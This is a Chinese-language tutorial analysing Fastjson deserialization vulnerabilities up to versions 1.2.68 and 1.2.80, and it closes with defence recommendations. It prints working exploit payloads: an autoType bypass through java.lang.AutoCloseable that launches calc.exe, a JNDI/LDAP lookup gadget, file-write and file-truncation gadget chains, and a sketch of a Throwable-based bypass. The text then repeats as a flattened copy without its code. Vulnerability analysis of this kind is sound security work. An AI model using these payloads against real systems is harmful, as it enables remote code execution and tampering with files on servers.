深究fastjson利用分析
字数 1350 2025-08-12 11:34:02

Fastjson漏洞利用深度分析教学文档

1. Fastjson漏洞概述

Fastjson是阿里巴巴开源的一个Java JSON处理库,在多个版本中存在反序列化漏洞。本文档主要分析Fastjson <= 1.2.68和<= 1.2.80版本的漏洞利用方式。

2. Fastjson <= 1.2.68漏洞分析

2.1 漏洞背景

在1.2.47版本漏洞爆发后,官方在1.2.48版本进行了修复:

  • 在MiscCodec处理Class类的地方,设置cache为false
  • loadClass重载方法的默认调用改为不缓存
  • 新增安全控制点safeMode,开启后将完全禁止autoType

2.2 漏洞原理

在ParserConfig#checkAutoType中,如果类不在白名单中,满足以下条件之一即可加载:

  1. 开启了autoTypeSupport
  2. expectClassFlag为True

漏洞利用关键点:

  • 以某个类作为expectClass参数传入checkAutoType
  • 查找反序列化expectClass的子类或实现
  • 构造反序列化链,直到找到可利用的类

2.3 绕过方法

2.3.1 利用java.lang.AutoCloseable接口

  1. 使用JavaBeanDeserializer反序列化器
  2. 当类型为接口时,继续解析下一个JSON字段
  3. 将接口作为expectClass参数传入checkAutoType

示例PoC:

String payload = "{\"@type\":\"java.lang.AutoCloseable\", \"@type\":\"pers.fastjson.Fj68Test\", \"cmd\":\"calc.exe\"}";
JSON.parseObject(payload);

2.3.2 黑名单限制

Fastjson对以下类进行了黑名单限制:

if (expectClass == Object.class || 
    expectClass == Serializable.class || 
    expectClass == Cloneable.class || 
    expectClass == Closeable.class || 
    expectClass == EventListener.class || 
    expectClass == Iterable.class || 
    expectClass == Collection.class) {
    expectClassFlag = false;
}

此外,以下父类/接口也被限制:

if (ClassLoader.class.isAssignableFrom(clazz) || 
    javax.sql.DataSource.class.isAssignableFrom(clazz) || 
    javax.sql.RowSet.class.isAssignableFrom(clazz)) {
    throw new JSONException("autoType is not support. " + typeName);
}

2.4 利用链分析

2.4.1 JNDI利用(1.2.50及之前版本)

利用OracleJDBCRowSet实现AutoCloseable接口:

  • 调用链:OracleJDBCRowSet#getConnection → lookup可控参数
  • 通过setCommand方法触发getConnection调用

Payload:

{
  "@type":"java.lang.AutoCloseable",
  "@type":"oracle.jdbc.rowset.OracleJDBCRowSet",
  "dataSourceName":"ldap://localhost:9999/Evil",
  "command":"a"
}

2.4.2 文件读写利用

写文件方法1(JDK11):

{
  '@type':"java.lang.AutoCloseable",
  '@type':'sun.rmi.server.MarshalOutputStream',
  'out': {
    '@type':'java.util.zip.InflaterOutputStream',
    'out': {
      '@type':'java.io.FileOutputStream',
      'file':'/tmp/fj_hack_jdk11',
      'append':false
    },
    'infl': {
      'input': {
        'array':'eJzzSK1USMqv1FHwVEjMVQjKT8oPSS3KAABRJwdZ',
        'limit':30
      }
    },
    'bufLen':1048576
  },
  'protocolVersion':1
}

写文件方法2:

{
  'stream': {
    '@type':"java.lang.AutoCloseable",
    '@type':'org.eclipse.core.internal.localstore.SafeFileOutputStream',
    'targetPath':'/tmp/dst',
    'tempPath':'/tmp/src'
  },
  'writer': {
    '@type':"java.lang.AutoCloseable",
    '@type':'com.esotericsoftware.kryo.io.Output',
    'buffer':'base64',
    'outputStream': {
      '$ref':'$.stream'
    },
    'position':19
  },
  'close': {
    '@type':"java.lang.AutoCloseable",
    '@type':'com.sleepycat.bind.serial.SerialOutput',
    'out': {
      '$ref':'$.writer'
    }
  }
}

清空文件:

{
  "@type":"java.lang.AutoCloseable",
  "@type":"java.io.FileOutputStream",
  "file":"/tmp/nonexist",
  "append":false
}

3. Fastjson <= 1.2.80漏洞分析

3.1 修复措施

将java.lang.AutoCloseable加入了黑名单

3.2 新的绕过方式

利用ThrowableDeserializer#deserialze:

  1. 限制必须为Throwable类或子类
  2. java.lang.Exception类在TypeUtils.mappings中存在且不在黑名单中

利用步骤:

  1. 第一次checkAutoType时expectClass为null
  2. 从mappings中获取缓存
  3. 获取ThrowableDeserializer反序列化器
  4. 将java.lang.Exception类作为expressClass传入

4. 防御建议

  1. 升级到最新安全版本
  2. 开启safeMode完全禁用autoType
  3. 严格限制fastjson反序列化的输入源
  4. 使用白名单机制限制可反序列化的类

5. 总结

Fastjson漏洞的核心在于autoType机制的绕过,通过精心构造的JSON数据,利用特定的接口或父类作为跳板,最终实现恶意代码执行或文件操作。防御此类漏洞需要多层次的防护措施。

Fastjson漏洞利用深度分析教学文档 1. Fastjson漏洞概述 Fastjson是阿里巴巴开源的一个Java JSON处理库,在多个版本中存在反序列化漏洞。本文档主要分析Fastjson <= 1.2.68和 <= 1.2.80版本的漏洞利用方式。 2. Fastjson <= 1.2.68漏洞分析 2.1 漏洞背景 在1.2.47版本漏洞爆发后,官方在1.2.48版本进行了修复: 在MiscCodec处理Class类的地方,设置cache为false loadClass重载方法的默认调用改为不缓存 新增安全控制点safeMode,开启后将完全禁止autoType 2.2 漏洞原理 在ParserConfig#checkAutoType中,如果类不在白名单中,满足以下条件之一即可加载: 开启了autoTypeSupport expectClassFlag为True 漏洞利用关键点: 以某个类作为expectClass参数传入checkAutoType 查找反序列化expectClass的子类或实现 构造反序列化链,直到找到可利用的类 2.3 绕过方法 2.3.1 利用java.lang.AutoCloseable接口 使用JavaBeanDeserializer反序列化器 当类型为接口时,继续解析下一个JSON字段 将接口作为expectClass参数传入checkAutoType 示例PoC: 2.3.2 黑名单限制 Fastjson对以下类进行了黑名单限制: 此外,以下父类/接口也被限制: 2.4 利用链分析 2.4.1 JNDI利用(1.2.50及之前版本) 利用OracleJDBCRowSet实现AutoCloseable接口: 调用链:OracleJDBCRowSet#getConnection → lookup可控参数 通过setCommand方法触发getConnection调用 Payload: 2.4.2 文件读写利用 写文件方法1(JDK11): 写文件方法2: 清空文件: 3. Fastjson <= 1.2.80漏洞分析 3.1 修复措施 将java.lang.AutoCloseable加入了黑名单 3.2 新的绕过方式 利用ThrowableDeserializer#deserialze: 限制必须为Throwable类或子类 java.lang.Exception类在TypeUtils.mappings中存在且不在黑名单中 利用步骤: 第一次checkAutoType时expectClass为null 从mappings中获取缓存 获取ThrowableDeserializer反序列化器 将java.lang.Exception类作为expressClass传入 4. 防御建议 升级到最新安全版本 开启safeMode完全禁用autoType 严格限制fastjson反序列化的输入源 使用白名单机制限制可反序列化的类 5. 总结 Fastjson漏洞的核心在于autoType机制的绕过,通过精心构造的JSON数据,利用特定的接口或父类作为跳板,最终实现恶意代码执行或文件操作。防御此类漏洞需要多层次的防护措施。